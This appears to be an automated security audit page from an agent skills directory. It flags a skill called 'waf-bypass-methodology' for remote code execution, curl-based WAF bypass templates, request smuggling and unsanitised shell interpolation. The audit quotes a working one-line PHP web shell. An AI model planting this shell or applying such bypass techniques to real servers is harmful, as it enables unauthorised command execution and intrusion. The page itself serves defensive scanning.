The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The file references/parameter-bypass.md contains a functional PHP web shell (<?php system($_GET['cmd']); ?>) used for executing arbitrary commands on a server. This file was explicitly flagged by an automated antivirus scan as malware.
[COMMAND_EXECUTION]: The skill provides command templates using curl to fingerprint and bypass security controls on remote targets. These patterns enable the agent to perform network-based scanning and exploitation.
[DATA_EXFILTRATION]: The skill describes techniques like HTTP Request Smuggling and specific Content-Type manipulations that facilitate sending arbitrary data to remote servers, potentially bypassing outbound traffic monitoring.
[PROMPT_INJECTION]: The shell command templates interpolate a user-defined TARGET variable without any input validation or sanitization, creating a surface where a malicious actor could inject secondary shell commands or modify the intended network operation.

waf-bypass-methodology